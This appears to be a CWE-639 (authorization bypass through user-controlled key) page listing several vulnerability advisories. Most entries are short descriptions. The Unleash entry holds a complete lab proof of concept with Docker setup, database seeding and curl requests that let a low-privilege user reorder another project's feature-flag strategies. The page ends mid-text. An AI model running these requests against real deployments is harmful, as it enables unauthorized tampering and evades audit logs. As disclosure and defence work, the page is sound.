Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

4562 vulnerabilities reference this CWE, most recent first.

GHSA-5CJ8-JRQQ-CRMV

Vulnerability from github – Published: 2026-08-07 00:31 – Updated: 2026-08-07 00:31
VLAI
Details

diboot-core's POST /common/load-related-data endpoint resolves caller-supplied field names to any @TableField column of any entity and returns those values for all rows, with no field or entity allowlist. The only guard, relatedDataSecurityCheck(), returns true unconditionally, so any authenticated user (including a zero-role account) can read @JsonIgnore-annotated secret fields such as IamAccount.authSecret and IamAccount.secretSalt for every account, or arbitrary secret fields of any other entity. Shiro's two-iteration MD5 with an 8-character salt is trivially crackable offline, so the disclosed admin password hashes convert to full administrative takeover. The endpoint is not example code; the official diboot-admin-ui frontend requires it, so deployments following the vendor's recommended integration expose it. The mechanism was renamed relatedData to attachMore on the development branch, but attachMoreSecurityCheck() also returns true unconditionally.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-70557"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-06T22:18:26Z",
    "severity": "HIGH"
  },
  "details": "diboot-core\u0027s POST /common/load-related-data endpoint resolves caller-supplied field names to any @TableField column of any entity and returns those values for all rows, with no field or entity allowlist. The only guard, relatedDataSecurityCheck(), returns true unconditionally, so any authenticated user (including a zero-role account) can read @JsonIgnore-annotated secret fields such as IamAccount.authSecret and IamAccount.secretSalt for every account, or arbitrary secret fields of any other entity. Shiro\u0027s two-iteration MD5 with an 8-character salt is trivially crackable offline, so the disclosed admin password hashes convert to full administrative takeover. The endpoint is not example code; the official diboot-admin-ui frontend requires it, so deployments following the vendor\u0027s recommended integration expose it. The mechanism was renamed relatedData* to attachMore* on the development branch, but attachMoreSecurityCheck() also returns true unconditionally.",
  "id": "GHSA-5cj8-jrqq-crmv",
  "modified": "2026-08-07T00:31:21Z",
  "published": "2026-08-07T00:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70557"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dibo-software/diboot/issues/104"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dibo-software/diboot"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5CQM-HJCP-75C4

Vulnerability from github – Published: 2025-12-31 18:30 – Updated: 2026-04-28 21:35
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in Eduardo Villão MyD Delivery allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects MyD Delivery: from n/a through 1.3.7.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-49334"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-31T16:15:42Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Eduardo Vill\u00e3o MyD Delivery allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects MyD Delivery: from n/a through 1.3.7.",
  "id": "GHSA-5cqm-hjcp-75c4",
  "modified": "2026-04-28T21:35:52Z",
  "published": "2025-12-31T18:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49334"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/myd-delivery/vulnerability/wordpress-myd-delivery-plugin-1-3-7-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/wordpress/plugin/myd-delivery/vulnerability/wordpress-myd-delivery-plugin-1-3-7-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5CVQ-GQWQ-XHFC

Vulnerability from github – Published: 2026-08-11 21:33 – Updated: 2026-08-11 21:33
VLAI
Details

NetBox 4.5.8 contains an ORM injection vulnerability that allows authenticated attackers, including those with read-only API tokens, to inject arbitrary Django ORM lookup expressions into nested object references by supplying crafted JSON dictionary keys in POST, PUT, or PATCH requests to any REST API endpoint. Attackers can exploit the unrestricted queryset used by WritableNestedSerializer to perform boolean-based blind data extraction of sensitive field values and bypass object-level permissions across all application modules including dcim, ipam, tenancy, virtualization, circuits, and extras.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-69117"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T19:18:42Z",
    "severity": "HIGH"
  },
  "details": "NetBox 4.5.8 contains an ORM injection vulnerability that allows authenticated attackers, including those with read-only API tokens, to inject arbitrary Django ORM lookup expressions into nested object references by supplying crafted JSON dictionary keys in POST, PUT, or PATCH requests to any REST API endpoint. Attackers can exploit the unrestricted queryset used by WritableNestedSerializer to perform boolean-based blind data extraction of sensitive field values and bypass object-level permissions across all application modules including dcim, ipam, tenancy, virtualization, circuits, and extras.",
  "id": "GHSA-5cvq-gqwq-xhfc",
  "modified": "2026-08-11T21:33:08Z",
  "published": "2026-08-11T21:33:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69117"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netbox-community/netbox/issues/21988"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netbox-community/netbox/pull/22013"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netbox-community/netbox/commit/b3489cd529ca00703a0b7fe4c45e91539add6df6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netbox-community/netbox"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/netbox-orm-injection-via-writablenestedserializer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5CW3-X746-WHWQ

Vulnerability from github – Published: 2024-03-18 03:30 – Updated: 2024-03-18 03:30
VLAI
Details

A vulnerability classified as critical was found in SourceCodester Employee Task Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /edit-task.php. The manipulation of the argument task_id leads to authorization bypass. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-257077 was assigned to this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-2574"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-18T02:15:06Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability classified as critical was found in SourceCodester Employee Task Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /edit-task.php. The manipulation of the argument task_id leads to authorization bypass. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-257077 was assigned to this vulnerability.",
  "id": "GHSA-5cw3-x746-whwq",
  "modified": "2024-03-18T03:30:32Z",
  "published": "2024-03-18T03:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2574"
    },
    {
      "type": "WEB",
      "url": "https://github.com/skid-nochizplz/skid-nochizplz/blob/main/TrashBin/CVE/SOURCECODESTER%20Employee%20Task%20Management%20System/IDOR%20-%20edit-task.php.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.257077"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.257077"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5F44-QRRG-G8CM

Vulnerability from github – Published: 2025-10-17 12:31 – Updated: 2025-10-17 12:31
VLAI
Details

The Binary MLM Plan plugin for WordPress is vulnerable to insecure direct object reference in versions up to, and including, 3.0. This is due to the bmp_user_payout_detail_of_current_user() function selecting payout records solely by id without verifying ownership. This makes it possible for authenticated attackers with the bmp_user role (often subscribers) to view other members' payout summaries via direct requests to the /bmp-account-detail/ endpoint with a crafted payout-id parameter granted they can access the shortcode output.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-11895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-17T10:15:33Z",
    "severity": "MODERATE"
  },
  "details": "The Binary MLM Plan plugin for WordPress is vulnerable to insecure direct object reference in versions up to, and including, 3.0. This is due to the bmp_user_payout_detail_of_current_user() function selecting payout records solely by id without verifying ownership. This makes it possible for authenticated attackers with the bmp_user role (often subscribers) to view other members\u0027 payout summaries via direct requests to the /bmp-account-detail/ endpoint with a crafted payout-id parameter granted they can access the shortcode output.",
  "id": "GHSA-5f44-qrrg-g8cm",
  "modified": "2025-10-17T12:31:17Z",
  "published": "2025-10-17T12:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11895"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/binary-mlm-plan/trunk/includes/bmp-hook-functions.php#L833"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/adba7d0c-29ca-49c5-ac75-bb79d62f6107?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5F4H-2WR9-WFG6

Vulnerability from github – Published: 2025-09-30 12:30 – Updated: 2025-10-08 18:30
VLAI
Details

Insecure Direct Object Reference (IDOR) vulnerability in BOLD Workplanner in versions prior to 2.5.25 (4935b438f9b), consisting of a lack of adequate validation of user input, allowing an authenticated user to access to time records details using unauthorised internal identifiers.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-41092"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-30T11:37:39Z",
    "severity": "HIGH"
  },
  "details": "Insecure Direct Object Reference (IDOR) vulnerability in BOLD Workplanner in versions prior to 2.5.25 (4935b438f9b), consisting of a lack of adequate validation of user input, allowing an authenticated user to\u00a0access to time records details using unauthorised internal identifiers.",
  "id": "GHSA-5f4h-2wr9-wfg6",
  "modified": "2025-10-08T18:30:15Z",
  "published": "2025-09-30T12:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41092"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/insecure-direct-object-reference-gps-bold-workplanner"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5FFH-6F9Q-5HHR

Vulnerability from github – Published: 2026-09-22 20:36 – Updated: 2026-09-22 20:36
VLAI
Summary
Unleash: A project member can reorder activation strategies belonging to any other project / environment (cross-project integrity write), bypassing project RBAC and the audit log
Details

Summary

Unleash scopes write permissions per project and per environment: a user with the UPDATE_FEATURE_STRATEGY permission on project A is supposed to be able to mutate activation strategies only within project A. The endpoint POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order violates this. The RBAC middleware authorizes the request against the :projectId taken from the URL, but the handler then writes the strategy IDs supplied in the request body directly to the database by primary key, without ever verifying that those strategy IDs actually belong to the URL's project / feature / environment. A low-privilege member of any one project can therefore reorder the activation strategies of features in any other project and environment — including projects they have no role on at all — by putting their own project in the URL (to satisfy RBAC) and the victim project's strategy IDs in the body.

The sibling write paths in the same service (updateStrategy, patchStrategy, deleteStrategy) all call validateUpdatedProperties(), which rejects a strategy whose stored projectId/featureName does not match the URL context. The set-sort-order handler is the one sibling that omits this check — an asymmetric, incomplete enforcement. Activation-strategy ordering is security-relevant: the first matching strategy determines a flag's rollout/variant outcome, so an attacker can flip which strategy "wins" for another team's feature flag in production. As a secondary effect, the operation that mutates the victim's strategies is recorded (if at all) under the attacker's project/feature context, so the tampering does not appear in the victim project's audit trail.

Affected code (v8.0.0)

The route is registered with the project-scoped permission UPDATE_FEATURE_STRATEGY (correct), and the handler forwards the URL params as the "context" plus the raw request body:

src/lib/features/feature-toggle/feature-toggle-controller.ts

{
    method: 'post',
    path: `${PATH_STRATEGIES}/set-sort-order`,
    handler: this.setStrategiesSortOrder,
    permission: UPDATE_FEATURE_STRATEGY,
    // ...
}

async setStrategiesSortOrder(req, res): Promise<void> {
    const { featureName, projectId, environment } = req.params;
    await this.transactionalFeatureToggleService.transactional((service) =>
        service.updateStrategiesSortOrder(
            { featureName, environment, projectId },   // URL context only
            req.body,                                   // attacker-controlled [{id, sortOrder}]
            req.audit,
        ),
    );
    res.status(200).send();
}

The service writes each body-supplied id directly. It reads the URL-context strategies only to build the audit-event payload (existingOrder/newOrder); it never validates that the IDs in sortOrders belong to that context:

src/lib/features/feature-toggle/feature-toggle-service.ts

async unprotectedUpdateStrategiesSortOrder(context, sortOrders, auditUser): Promise<Saved<any>> {
    const { featureName, environment, projectId: project } = context;
    const existingOrder = (await this.getStrategiesForEnvironment(project, featureName, environment))
        .sort(sortStrategies).map((s) => s.id);
    // ...
    await Promise.all(
        sortOrders.map(({ id, sortOrder }) =>
            this.featureStrategiesStore.updateSortOrder(id, sortOrder),   // NO project/feature/env check
        ),
    );
    // ...event built from the URL context, not from the strategies actually mutated...
}

The store updates by primary key with no scoping predicate:

src/lib/features/feature-toggle/feature-toggle-strategies-store.ts

async updateSortOrder(id: string, sortOrder: number): Promise<void> {
    await this.db<IFeatureStrategiesTable>(T.featureStrategies)
        .where({ id })
        .update({ sort_order: sortOrder });
}

Contrast the sibling mutators, which DO bind the target strategy to the URL context (validateUpdatedProperties throws InvalidOperationError when existingStrategy.projectId !== projectId or existingStrategy.featureName !== featureName):

// unprotectedUpdateStrategy / patchStrategy / deleteStrategy:
const existingStrategy = await this.featureStrategiesStore.get(id);
this.validateUpdatedProperties(context, existingStrategy);   // <-- the check set-sort-order is missing

Attacker model / precondition

The attacker is an authenticated Unleash user who holds the UPDATE_FEATURE_STRATEGY permission on at least one project — i.e. any standard project member/editor, the second-lowest privilege tier. They do not need any role on the victim project. The precondition is a multi-project instance: project creation and per-project roles are Pro/Enterprise features, so this is the normal Unleash Pro/Enterprise deployment shape (the OSS edition pins everything to the single default project, which removes the cross-project dimension but the same missing-binding defect still allows reordering strategies of any feature/environment within default). The attacker must know (or enumerate) the target strategy UUIDs; strategy IDs are surfaced through several admin/read endpoints and are guessable in scope by a user who can read project listings. Change Requests do not mitigate it: the stopWhenChangeRequestsEnabled gate is evaluated against the attacker's own URL project, not the victim's, and Change Requests are off by default. The integrity impact is bounded to the sort_order column (the attacker cannot change parameters, constraints, or segments via this endpoint), which is why this is rated Medium rather than High.

Impact

A project member can silently alter the activation-strategy evaluation order of feature flags in projects and environments they have no authorization over. Because Unleash evaluates strategies in order and the first enabling strategy decides a flag's served value/variant, reordering can change a production flag's rollout behaviour for another team — e.g. promoting a permissive flexibleRollout/default strategy ahead of a restrictive userWithId/constraint-gated one, effectively turning a flag on (or changing which variant is served) for users the owning team intended to exclude. This is a cross-tenant integrity / authorization-bypass write. It additionally undermines accountability: the mutation is attributed to the attacker's URL context rather than the victim feature, so the change is absent from the victim project's audit/event history (in the lab the successful cross-project write produced no feature-strategy-update event for the victim feature at all), hampering detection and forensics.

Proof of Concept (complete — runs on 127.0.0.1 only)

Lab only. Everything binds to 127.0.0.1; no hosted instance is touched. Requires Docker.

1. Start PostgreSQL and Unleash v8.0.0

docker network create unleash-poc

docker run -d --name unleash-pg --network unleash-poc \
  -e POSTGRES_DB=unleash -e POSTGRES_USER=unleash -e POSTGRES_PASSWORD=unleash \
  postgres:16-alpine
sleep 8

docker run -d --name unleash-srv --network unleash-poc -p 127.0.0.1:4242:4242 \
  -e DATABASE_HOST=unleash-pg -e DATABASE_NAME=unleash \
  -e DATABASE_USERNAME=unleash -e DATABASE_PASSWORD=unleash -e DATABASE_SSL=false \
  -e INIT_ADMIN_API_TOKENS='*:*.unleash-insecure-admin-api-token' \
  unleashorg/unleash-server:8.0.0
sleep 25
curl -s http://127.0.0.1:4242/health    # {"health":"GOOD"}

2. Simulate a Pro/Enterprise (multi-project) deployment

Per-project roles and >1 project are Pro/Enterprise features; the official OSS image hard-pins requests to the default project via an unrelated edition gate (resolveIsOss). To reproduce the cross-project dimension on the public image, lift only that edition gate (this does NOT touch the vulnerable set-sort-order code path). On a real Pro/Enterprise instance this step is unnecessary — multiple projects already exist.

# Force resolveIsOss() to return false (== "this is a Pro/Enterprise deployment").
docker cp unleash-srv:/unleash/dist/lib/create-config.js /tmp/cc.js
python3 - <<'PY'
s=open('/tmp/cc.js').read()
old="""    return testEnvironmentActive
        ? (isOssOption ?? false)
        : !isEnterprise && uiEnvironment?.toLowerCase() !== 'pro';"""
assert old in s
s=s.replace(old,"    return false; // PoC: simulate Pro/Enterprise deployment (multi-project enabled)")
open('/tmp/cc.js','w').write(s)
print("patched edition gate")
PY
docker cp /tmp/cc.js unleash-srv:/unleash/dist/lib/create-config.js
docker restart unleash-srv && sleep 22

3. Seed two projects (victim, attacker) and link them to environments

docker exec unleash-pg psql -U unleash -d unleash -c \
 "INSERT INTO projects (id,name,description) VALUES ('victim','Victim Project','v'),('attacker','Attacker Project','a');"
docker exec unleash-pg psql -U unleash -d unleash -c \
 "INSERT INTO project_environments (project_id, environment_name) VALUES
   ('victim','development'),('victim','production'),
   ('attacker','development'),('attacker','production');"

4. Create the victim feature with two strategies, and an attacker feature

B=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token'
H="-H Authorization:$ADMIN -H Content-Type:application/json"

curl -s -X POST $H $B/api/admin/projects/victim/features -d '{"name":"victimFlag","type":"release"}' >/dev/null
S1=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \
       -d '{"name":"flexibleRollout","parameters":{"rollout":"10","stickiness":"default","groupId":"victimFlag"}}' \
     | python3 -c "import sys,json;print(json.load(sys.stdin)['id'])")
S2=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \
       -d '{"name":"default","parameters":{}}' \
     | python3 -c "import sys,json;print(json.load(sys.stdin)['id'])")
echo "victim strategies: S1=$S1 (sort 0)  S2=$S2 (sort 1)"

curl -s -X POST $H $B/api/admin/projects/attacker/features -d '{"name":"attackerFlag","type":"release"}' >/dev/null
curl -s -X POST $H $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies \
     -d '{"name":"default","parameters":{}}' >/dev/null

5. Create a low-privilege attacker user (Member of attacker ONLY, no role on victim)

# Viewer root role (id 3) -> no project write anywhere by default.
curl -s -X POST $H $B/api/admin/user-admin \
  -d '{"email":"mallory@example.com","name":"Mallory","rootRole":3}' >/dev/null
curl -s -X POST $H $B/api/admin/user-admin/2/change-password \
  -d '{"password":"Str0ng-PoC-pass!9x"}' >/dev/null

# Grant the project "Member" role (id 5, includes UPDATE_FEATURE_STRATEGY) on 'attacker' only.
docker exec unleash-pg psql -U unleash -d unleash -c \
 "INSERT INTO role_user (role_id, user_id, project) VALUES (5, 2, 'attacker');"
docker restart unleash-srv && sleep 22     # pick up the seeded role

6. Run the attack

B=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token'
CJ=/tmp/mallory.cookies; rm -f $CJ

# Log in as the low-priv user (Member of 'attacker' only).
curl -s -c $CJ -o /dev/null -X POST -H 'Content-Type: application/json' \
  $B/auth/simple/login -d '{"username":"mallory@example.com","password":"Str0ng-PoC-pass!9x"}'

show() { curl -s -H "Authorization:$ADMIN" \
  $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \
  | python3 -c "import sys,json;[print('   ',s['id'],'sort',s['sortOrder']) for s in json.load(sys.stdin)]"; }

echo '--- victim/production BEFORE ---'; show

echo '--- [negative control] Mallory -> VICTIM url directly (expect 403) ---'
curl -s -o /dev/null -w '    HTTP %{http_code}\n' -b $CJ -X POST -H 'Content-Type: application/json' \
  $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies/set-sort-order \
  -d "[{\"id\":\"$S1\",\"sortOrder\":99}]"

echo '--- [attack] Mallory -> ATTACKER url, body = VICTIM strategy ids (expect 200) ---'
curl -s -o /dev/null -w '    HTTP %{http_code}\n' -b $CJ -X POST -H 'Content-Type: application/json' \
  $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies/set-sort-order \
  -d "[{\"id\":\"$S1\",\"sortOrder\":42},{\"id\":\"$S2\",\"sortOrder\":7}]"

echo '--- victim/production AFTER ---'; show

Observed output

--- victim/production BEFORE ---
    01KTYWRZM7ACCTQKPJJCXJB24R sort 0
    01KTYWRZMTAN6WAZBQ6CN0QY4T sort 1
--- [negative control] Mallory -> VICTIM url directly (expect 403) ---
    HTTP 403
--- [attack] Mallory -> ATTACKER url, body = VICTIM strategy ids (expect 200) ---
    HTTP 200
--- victim/production AFTER ---
    01KTYWRZMTAN6WAZBQ6CN0QY4T sort 7
    01KTYWRZM7ACCTQKPJJCXJB24R sort 42

The negative control proves RBAC correctly denies Mallory a direct write to victim (403). The attack proves that by naming her own attacker project in the URL she passes RBAC, and the victim project's two strategies are reordered (sort 0/1 → 42/7, i.e. the evaluation order is flipped) — a write to a project she has no role on. A check of the events table after the attack shows no feature-strategy-update event was recorded for victimFlag, so the tampering is absent from the victim's audit trail.

Cleanup

docker rm -f unleash-srv unleash-pg; docker network rm unleash-poc

Remediation

In unprotectedUpdateStrategiesSortOrder, bind every body-supplied strategy ID to the URL context before writing. Two equivalent fixes: (1) fetch each strategy by ID and call the existing validateUpdatedProperties(context, strategy) guard (the same one updateStrategy/patchStrategy/deleteStrategy already use) so a mismatched projectId/featureName throws; or (2) reject any sortOrders entry whose ID is not present in existingOrder (the set of strategy IDs that genuinely belong to {project, featureName, environment}), which the function already computes. Additionally, scope the store write — updateSortOrder should constrain the UPDATE with the project/feature/environment (or only operate on IDs already validated to be in-context) rather than updating purely by primary key. Fixing the binding also corrects the audit-log attribution, since the mutated strategies will then always belong to the URL context the event is built from.

Please credit 5ud0 / Tarmo Technologies.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "unleash-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77425"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:36:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nUnleash scopes write permissions per project and per environment: a user with the `UPDATE_FEATURE_STRATEGY` permission on project `A` is supposed to be able to mutate activation strategies only within project `A`. The endpoint `POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order` violates this. The RBAC middleware authorizes the request against the `:projectId` taken from the URL, but the handler then writes the strategy IDs supplied in the request *body* directly to the database by primary key, **without ever verifying that those strategy IDs actually belong to the URL\u0027s project / feature / environment**. A low-privilege member of any one project can therefore reorder the activation strategies of features in *any other project and environment* \u2014 including projects they have no role on at all \u2014 by putting their own project in the URL (to satisfy RBAC) and the victim project\u0027s strategy IDs in the body.\n\nThe sibling write paths in the same service (`updateStrategy`, `patchStrategy`, `deleteStrategy`) all call `validateUpdatedProperties()`, which rejects a strategy whose stored `projectId`/`featureName` does not match the URL context. The `set-sort-order` handler is the one sibling that omits this check \u2014 an asymmetric, incomplete enforcement. Activation-strategy ordering is security-relevant: the first matching strategy determines a flag\u0027s rollout/variant outcome, so an attacker can flip which strategy \"wins\" for another team\u0027s feature flag in production. As a secondary effect, the operation that mutates the victim\u0027s strategies is recorded (if at all) under the *attacker\u0027s* project/feature context, so the tampering does not appear in the victim project\u0027s audit trail.\n\n## Affected code (v8.0.0)\n\nThe route is registered with the project-scoped permission `UPDATE_FEATURE_STRATEGY` (correct), and the handler forwards the URL params as the \"context\" plus the raw request body:\n\n`src/lib/features/feature-toggle/feature-toggle-controller.ts`\n```ts\n{\n    method: \u0027post\u0027,\n    path: `${PATH_STRATEGIES}/set-sort-order`,\n    handler: this.setStrategiesSortOrder,\n    permission: UPDATE_FEATURE_STRATEGY,\n    // ...\n}\n\nasync setStrategiesSortOrder(req, res): Promise\u003cvoid\u003e {\n    const { featureName, projectId, environment } = req.params;\n    await this.transactionalFeatureToggleService.transactional((service) =\u003e\n        service.updateStrategiesSortOrder(\n            { featureName, environment, projectId },   // URL context only\n            req.body,                                   // attacker-controlled [{id, sortOrder}]\n            req.audit,\n        ),\n    );\n    res.status(200).send();\n}\n```\n\nThe service writes each body-supplied `id` directly. It reads the URL-context strategies only to build the audit-event payload (`existingOrder`/`newOrder`); it never validates that the IDs in `sortOrders` belong to that context:\n\n`src/lib/features/feature-toggle/feature-toggle-service.ts`\n```ts\nasync unprotectedUpdateStrategiesSortOrder(context, sortOrders, auditUser): Promise\u003cSaved\u003cany\u003e\u003e {\n    const { featureName, environment, projectId: project } = context;\n    const existingOrder = (await this.getStrategiesForEnvironment(project, featureName, environment))\n        .sort(sortStrategies).map((s) =\u003e s.id);\n    // ...\n    await Promise.all(\n        sortOrders.map(({ id, sortOrder }) =\u003e\n            this.featureStrategiesStore.updateSortOrder(id, sortOrder),   // NO project/feature/env check\n        ),\n    );\n    // ...event built from the URL context, not from the strategies actually mutated...\n}\n```\n\nThe store updates by primary key with no scoping predicate:\n\n`src/lib/features/feature-toggle/feature-toggle-strategies-store.ts`\n```ts\nasync updateSortOrder(id: string, sortOrder: number): Promise\u003cvoid\u003e {\n    await this.db\u003cIFeatureStrategiesTable\u003e(T.featureStrategies)\n        .where({ id })\n        .update({ sort_order: sortOrder });\n}\n```\n\nContrast the sibling mutators, which DO bind the target strategy to the URL context (`validateUpdatedProperties` throws `InvalidOperationError` when `existingStrategy.projectId !== projectId` or `existingStrategy.featureName !== featureName`):\n\n```ts\n// unprotectedUpdateStrategy / patchStrategy / deleteStrategy:\nconst existingStrategy = await this.featureStrategiesStore.get(id);\nthis.validateUpdatedProperties(context, existingStrategy);   // \u003c-- the check set-sort-order is missing\n```\n\n## Attacker model / precondition\n\nThe attacker is an authenticated Unleash user who holds the `UPDATE_FEATURE_STRATEGY` permission on at least one project \u2014 i.e. any standard project member/editor, the second-lowest privilege tier. They do not need any role on the victim project. The precondition is a multi-project instance: project creation and per-project roles are Pro/Enterprise features, so this is the normal Unleash Pro/Enterprise deployment shape (the OSS edition pins everything to the single `default` project, which removes the cross-project dimension but the same missing-binding defect still allows reordering strategies of any feature/environment within `default`). The attacker must know (or enumerate) the target strategy UUIDs; strategy IDs are surfaced through several admin/read endpoints and are guessable in scope by a user who can read project listings. Change Requests do not mitigate it: the `stopWhenChangeRequestsEnabled` gate is evaluated against the attacker\u0027s own URL project, not the victim\u0027s, and Change Requests are off by default. The integrity impact is bounded to the `sort_order` column (the attacker cannot change parameters, constraints, or segments via this endpoint), which is why this is rated Medium rather than High.\n\n## Impact\n\nA project member can silently alter the activation-strategy evaluation order of feature flags in projects and environments they have no authorization over. Because Unleash evaluates strategies in order and the first enabling strategy decides a flag\u0027s served value/variant, reordering can change a production flag\u0027s rollout behaviour for another team \u2014 e.g. promoting a permissive `flexibleRollout`/`default` strategy ahead of a restrictive `userWithId`/constraint-gated one, effectively turning a flag on (or changing which variant is served) for users the owning team intended to exclude. This is a cross-tenant integrity / authorization-bypass write. It additionally undermines accountability: the mutation is attributed to the attacker\u0027s URL context rather than the victim feature, so the 